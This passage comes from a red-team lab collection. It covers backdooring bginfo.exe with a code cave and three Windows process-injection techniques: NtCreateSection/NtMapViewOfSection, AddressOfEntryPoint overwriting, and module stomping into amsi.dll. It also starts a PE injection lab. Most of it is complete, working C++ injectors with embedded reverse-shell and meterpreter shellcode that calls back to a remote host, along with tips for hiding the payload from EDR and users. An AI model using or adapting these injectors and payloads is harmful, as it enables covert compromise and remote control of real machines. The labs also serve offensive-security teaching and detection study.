4. Remember the ESP register value - we will need this when calculating by how much the stack size grew during the shellcode execution. This is required in order to restore the stack frame before redirecting the code execution back to bginfo.exe
5. Modify the shellcode:
   1. Make sure that `WaitForSingleObject` does not wait indefinitely and does not freeze bginfo.exe once the shellcode is executed
   2. Remove the last instruction of the shellcode `call ebp` to prevent the shellcode from shutting down of bginfo.exe
6. Note the ESP value and the end of shellcode execution - this is related to point 4 and 7&#x20;
7. Restore the stack pointer ESP to what it was after the shellcode executed `pushad` and `pushfd` as explained in step 3, with `add esp, <ESP_POST_SHELLCODE - ESP_PRE_SHELLCODE>`. This is where ESPs from point 4 and 7 comes in to play
8. Restore registers with `popfd` and `popad`
9. Append the shellcode with the instruction we had overwritten in step 1
10. Restore code execution back to bginfo by jumping back to the next instruction after the owerwritten one as explained in 1.3

### Overwriting 5 byte Instruction

Let's now hijack the bginfo.exe code execution flow by overwriting any instruction that is 5 bytes in size - again - this is how many bytes we need for a `jmp address` instruction.

One of the first 5-byte instructions we can see is `mov edi, bb40e64e` at 00467b29:

{% hint style="warning" %}
**Important** \
We are about to overwrite the instruction `mov edi, 0xbb40e64e` at **00467b29**, hence we need to remember it for later as explained in 1.2.
{% endhint %}

![](/files/-Lkz_YnFy5qqhlkFJfyH)

Let's overwrite the instruction at 00467b29 with an instruction `jmp 0x004d8000` which will make the bginfo jump to our shellcode located at 0x004d8000 when executed:

![](/files/-LkzaylyCqa-8zRfcmsD)

{% hint style="warning" %}
**Important**\
Remember the address of the next instruction after **0046b29**, which is **0467b2e** - this is the address we will jump back after the shellcode has executed in order to resume bginfo.
{% endhint %}

There are multiple ways to overwrite the instructions at 00467b29 - either assemble the bytes using a debugger or patch the binary via a hex editor which is what I did. I found the bytes `bf 4e e6 40 bb` (bytes found at 00467b29 when bginfo is in memory) in the bginfo.exe (screenshot below) and replaced them with bytes `e9 d2 04 07 00` which translates to jmp `bgfinfo.d48000` (jump to our shellcode, above screenshot).

![](/files/-LkzaQceOQ3j5kB3XaBY)

Below shows how the code redirection works and we jump to 4d8000 (shellcode) location once we hit the instruction at 00467b29:

![](/files/-Ll96u5bb1q1OXCJX5Kh)

If we try running the patched binary now, we can see it results in a reverse shell, however the bginfo.exe itself is not visible - we will need to fix that:

![](/files/-LkzkixlLNKSi6nb-vDY)

### Patching Shellcode

#### Patching WaitForSingleObject

The reason the bginfo.exe is not showing any UI is because the thread is blocked by the shellcode call to `WaitForSingleObject` function (see definition below). It's called with an argument `INFINITE` (-1 or 0xFFFFFFFF‬), meaning the thread will be blocked forever.

[`WaitForSingleObject`](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject) definition:

```cpp
DWORD WaitForSingleObject(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);
```

The below screenshot shows that EAX points to `WaitForSingleObject` which is going to be jumped to with `jmp eax` at 004d8081. Note the stack - it contains the thread handle (28c) to block and the wait time FFFFFFFF == INFINITE which is the second argument for `WaitForSingleObject`:

![](/files/-Ll3px7EmYpT1PNgqKha)

Instruction `dec esi` at 004d811b changes ESI value to -1 (currently ESI = 0), which is the value pushed to the stack as an argument `dwMilliSeconds` for `WaitForSignaledObject`:

![](/files/-Ll3koptqHZSB7nYHz5T)

Let's NOP that instruction, so that ESI stays unchanged at 0, which means that `WaitForSingleObject` will wait 0 seconds before unblocking the UI:

![](/files/-Ll3qfZF6Uro5HZAoW9I)

#### Restoring Stack Frame & Jumping Back

Next, we need to patch the `call ebp` instruction at 004d8144 if we don't want the shellcode to close the bginfo.exe process:

![](/files/-Ll3rXPG9tFjxHr9mJik)

We will do this by replacing this instruction with an instruction that will restore our stack frame pointer ESP to what it was before we started executing our shellcode, but after we executed `pushad` and `pushfd` instructions as mentioned in point 7.

From earlier, the `ESP` after `pushad` and `pushfd` was `0019ff30`:

![](/files/-Ll3tDJQ2pqphICgtoax)

`ESP` after executing the shellcode was `0019fd2c`:

![](/files/-Ll3s6OF9x7ufPIN8UOu)

Which means that the stack grew by 204h bytes:

$$
0019ff30 - 0019fd2c = 0x204
$$

Knowing all of the above, we need to:

* restore the stack by increasing the ESP by 0x204 bytes
* restore registers and flags with `popfd` and `popad`
* re-introduce the instruction we previously had overwritten with a jump to our shellcode
* jump back to the next instruction after the overwritten instruction that made the jump to the shellcode

All the above steps in assembly would be:

```cpp
add esp, 0x204
popfd
popad
mov edi, 0xbb40e64e
jmp 0x00467B2E
```

The below screenshot shows the very end of the shellcode with the above instructions encircled:

![](/files/-Ll3uk40tcavWPYIG6dy)

### Backdoor Demo

If we save the patched binary and launch it - we can see that the reverse shell gets popped and the bginfo.exe is launched successfully:

![](/files/-Ll3xNXeWGuPj5XZXOov)

## Final Note

This technique is not particularly stealthy. Rather than adding a new code section to the binary, it's better to attempt locating large spaces of unused bytes inside existing code sections, called code caves. To further improve stealthiness of this technique, you may want to consider encoding/encrypting your shellcode and executing it when user performs certain interaction with the binary you are backdooring, for example, invokes Help > About dialog box.

## References

{% embed url="<https://captmeelo.com/exploitdev/osceprep/2018/07/16/backdoor101-part1.html>" %}

{% embed url="<https://medium.com/@codingkarma/pe-section-header-injection-using-code-cave-1451912d814c>" %}

{% embed url="<https://pentest.blog/art-of-anti-detection-2-pe-backdoor-manufacturing/>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject>" %}


# NtCreateSection + NtMapViewOfSection Code Injection

## Overview

This lab is for a code injection technique that leverages Native APIs `NtCreateSection`, `NtMapViewOfSection` and `RtlCreateUserThread`.

* Section is a memory block that is shared between processes and can be created with `NtCreateSection` API&#x20;
* Before a process can read/write to that block of memory, it has to map a view of the said section, which can be done with `NtMapViewOfSection`
* Multiple processes can read from and write to the section through the mapped views

High level overwiew of the technique:

* Create a new memory section with RWX protection
* Map a view of the previously created section to the local malicious process with RW protection
* Map a view of the previously created section to a remote target process with RX protection. Note that by mapping the views with RW (locally) and RX (in the target process) we do not need to allocate memory pages with RWX, which may be frowned upon by some EDRs.
* Fill the view mapped in the local process with shellcode. By definition, the mapped view in the target process will get filled with the same shellcode
* Create a remote thread in the target process and point it to the mapped view in the target process to trigger the shellcode

## Execution

Let's create a new memory section in the local process, that will have RWX access rights set:

```cpp
fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
```

We can see the section got created and we obtained its handle 0x88:

![](/files/-LoqCPLywPJFklxdvPEx)

Let's create an RW view of the section in our local process and obtain its address which will get stored in `localSectionAddress`:

```cpp
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
```

![](/files/-LoqDRSd12QStim2KJgv)

Let's create another view of the same section in a target process (notepad.exe PID 6572 in our case), but this time with RX protection. The memory address of the view will get stored in `remoteSectionAddress` variable:

![](/files/-LoqDxKWd84uwnl-PEqK)

We can now copy the shellcode into our `localSectionAddress`, which will get automatically mirrored/reflected in the `remoteSectionAddress` as it's a view of the same section shared between our local and target processes:

```cpp
memcpy(localSectionAddress, buf, sizeof(buf));
```

Below shows how the `localSectionAddress` gets filled with the shellcode and at the same time the `remoteSectionAddress` at `0x000002614ed50000` inside notepad (on the right) gets filled with the same shellcode:

![](/files/-LoqEKmoH7xT31Hbyn2r)

We can now create a remote thread inside the notepad.exe and make the `remoteSectionAddress` its start address in order to trigger the shellcode:

```cpp
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
```

![](/files/-LoqErGinKzN892WCnRF)

## Code

```cpp
#include <iostream>
#include <Windows.h>
#pragma comment(lib, "ntdll")

typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {	ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); 
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle,	HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main()
{
	unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
	
	myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
	myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
	myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
	SIZE_T size = 4096;
	LARGE_INTEGER sectionSize = { size };
	HANDLE sectionHandle = NULL;
	PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
	
	// create a memory section
	fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
	
	// create a view of the memory section in the local process
	fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

	// create a view of the memory section in the target process
	HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, 1480);
	fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);

	// copy shellcode to the local view, which will get reflected in the target process's mapped view
	memcpy(localSectionAddress, buf, sizeof(buf));
	
	HANDLE targetThreadHandle = NULL;
	fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);

	return 0;
}
```

## References

{% embed url="<http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html>" %}

{% embed url="<https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FRtlCreateUserThread.html>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views>" %}

{% embed url="<https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing>" %}


# AddressOfEntryPoint Code Injection without VirtualAllocEx RWX

Code Injection

This is a shellcode injection technique that works as follows:

1. Start a target process into which the shellcode will be injected, in suspended state.&#x20;
2. Get `AddressOfEntryPoint` of the target process
3. Write shellcode to `AddressOfEntryPoint` retrieved in step 2
4. Resume target process
5. Catch the incoming shell

What's nice about this technique is that we do not need to allocate RWX memory pages in the victim process which some EDRs may not like.

{% hint style="warning" %}
**Attention**

Per <https://github.com/mantvydasb/RedTeaming-Tactics-and-Techniques/issues/36>.

At the page on [AddressOfEntryPoint Code Injection without VirtualAllocEx RWX](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx), this is not really done without using RWX. As shown in the first picture, the entrypoint memory page is already under RX permissions, and as shown [here](https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions), the only reason this method works is because WriteProcessMemory is being nice and trying to change RX to RWX temporarily, which would end up creating an RWX page anyways, essentially making this technique still easily detectable by EDRs that look for RWX regions.
{% endhint %}

## Execution

First, in order to get `AddressOfEntryPoint`, we need to get the image base address of the target process - notepad.exe:

![](/files/-LqIRt0m-wHw0b3TPtta)

We then need to parse out the NT and Optional Headers and find the AddressEntryPoint (Relative Virtual Address) of the notepad.exe which in my case was at 0001bf90:

![](/files/-LqISqDGwqEifuG3bvRt)

Knowing notepad's image base address and an RVA of the AddressEntryPoint, we can get its Virtual Address (by adding the two up) and hijack the executable by overwriting the very first instructions found at that address with our shellcode:

![bytes at AddressOfEntryPoint get overwritten with shellcode](/files/-LqIV7y-utHkIIKs4-qb)

Resuming the suspended process executes our shellcode which results in a meterpreter session:

![](/files/-LqIVghP3KVN76xxVSEu)

## Code

```cpp
#include "pch.h"
#include <iostream>
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

int main()
{
	//x86 meterpreter
	unsigned char shellcode[] = 
		"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
		"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
		"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
		"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
		"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
		"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
		"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
		"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
		"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
		"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
		"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x00\x05"
		"\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
		"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
		"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
		"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
		"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
		"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
		"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
		"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
		"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
		"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
		"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
	
	STARTUPINFOA si;
	si = {};
	PROCESS_INFORMATION pi = {};
	PROCESS_BASIC_INFORMATION pbi = {};
	DWORD returnLength = 0;
	CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);

	// get target image PEB address and pointer to image base
	NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength);
	DWORD pebOffset = (DWORD)pbi.PebBaseAddress + 8;

	// get target process image base address
	LPVOID imageBase = 0;
	ReadProcessMemory(pi.hProcess, (LPCVOID)pebOffset, &imageBase, 4, NULL);
	
	// read target process image headers
	BYTE headersBuffer[4096] = {};
	ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL);

	// get AddressOfEntryPoint
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew);
	LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase);

	// write shellcode to image entry point and execute it
	WriteProcessMemory(pi.hProcess, codeEntry, shellcode, sizeof(shellcode), NULL);
	ResumeThread(pi.hThread);

	return 0;
}
```


# Module Stomping for Shellcode Injection

Code Injection

## Overview

Module Stomping (or Module Overloading or DLL Hollowing) is a shellcode injection (although can be used for injecting full DLLs) technique that at a high level works as follows:

1. Injects some benign Windows DLL into a remote (target) process
2. Overwrites DLL's, loaded in step 1, `AddressOfEntryPoint` point with shellcode
3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2

In this lab, I will inject `amsi.dll` into a `notepad.exe` process, but this of course could be done with any other DLL and process.

## Pros

1. Does not allocate RWX memory pages or change their permissions in the target process at any point
2. Shellcode is injected into a legitimate Windows DLL, so detections looking for DLLs loaded from weird places like c:\temp\ would not work
3. Remote thread that executes the shellcode is associated with a legitimate Windows module

## Cons

`ReadProcessMemory`/`WriteProcessMemory` API calls are usually used by debuggers rather than "normal" programs.

{% hint style="info" %}
`ReadProcessMemory` is used to read remote process injected module's image headers, meaning we could ditch the `ReadProcessMemory` call and read those headers from the DLL on the disk.&#x20;

We could also use `NtMapViewOfSection` to inject shellcode into the remote process, reducing the need for `WriteProcessMemory`.
{% endhint %}

## Code

```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <psapi.h>

int main(int argc, char *argv[])
{
	HANDLE processHandle;
	PVOID remoteBuffer;
	wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
	HMODULE modules[256] = {};
	SIZE_T modulesSize = sizeof(modules);
	DWORD modulesSizeNeeded = 0;
	DWORD moduleNameSize = 0;
	SIZE_T modulesCount = 0;
	CHAR remoteModuleName[128] = {};
	HMODULE remoteModule = NULL;

	// simple reverse shell x64
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

	// inject a benign DLL into remote process
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
	
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
	WaitForSingleObject(dllThread, 1000);
	
	// find base address of the injected benign DLL in remote process
	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
	for (size_t i = 0; i < modulesCount; i++)
	{
		remoteModule = modules[i];
		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
		if (std::string(remoteModuleName).compare("amsi.dll") == 0) 
		{
			std::cout << remoteModuleName << " at " << modules[i];
			break;
		}
	}

	// get DLL's AddressOfEntryPoint
	DWORD headerBufferSize = 0x1000;
	LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
	ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);

	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
	std::cout << ", entryPoint at " << dllEntryPoint;

	// write shellcode to DLL's AddressofEntryPoint
	WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
	
	// execute shellcode from inside the benign DLL
	CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
	
	return 0;
}
```

## Demo

Below shows the technique in action - amsi.dll gets loaded into notepad and a reverse shell is spawned by the shellcode injected into amsi.dll `AddressOfEntryPoint`:

![](/files/-LxODBXK4mQ6BxG3wUYp)

## Observation

Note how powershell window shows that `amsi.dll` is loaded at 00007FFF20E60000 and it's DLL `AddressOfEntryPoint` point is at **00007FFF20E67**E00.&#x20;

If we look at the stack trace of the cmd.exe process creation event in procmon, we see that frame 9 originates from inside `amsi!AmsiUacScan+0x5675` (**00007fff20e67**f95) before the code transitions to kernelbase.dll where `CreateProcessA` is called:

![](/files/-LxR_muHxChN-sTX8_in)

{% file src="/files/-LxOBhbnnv9zJcaSS7Fa" %}
Procmon logs
{% endfile %}

If we inspect notepad.exe threads, we can see thread 7372 with a start address of `Amsi!AmsiUacScan+0x54e0`.&#x20;

If we inspect that memory location with a debugger, we see it resolves to `Amsi!DLLMainCRTStartup` and it contains our shellcode as expected:

![](/files/-LxReu2iqFzJW9IjWxji)

## References

{% embed url="<https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing>" %}

{% embed url="<http://williamknowles.io/living-dangerously-with-module-stomping-leveraging-code-coverage-analysis-for-injecting-into-legitimately-loaded-dlls/>" %}


# PE Injection: Executing PEs inside Remote Processes

Code Injection

This is a quick lab of a simplified way of injecting an entire portable executabe (PE) into another running process.

{% hint style="warning" %}
Note that in order to inject more complex PEs, additional DLLs in the target process may need to be loaded and Import Address Table fixed and for this, refer to my other lab [Reflective DLL Injection](/offensive-security/code-injection-process-injection/reflective-dll-injection#resolving-import-address-table).
{% endhint %}

## Overview

In this lab, I wrote a simple C++ executable that self-injects its PE into a target process. This executable contains 2 functions:

* `main` - this is the function that performs the self-injection of the PE image into a specified remote/target process, which is going to be `notepad.exe` in this case;
* `InjectionEntryPoint` - this is the function that will get executed by the target process (notepad) once notepads gets injected with our PE.&#x20;
  * This function will pop a `MessageBox` with a name of the module the code is currently running from. If injection is successful, it should spit out a path of notepad.exe.

## Technique Overview

Inside the current process, that's doing the self-injection of its PE:

1. Get the image base address `imageBase`
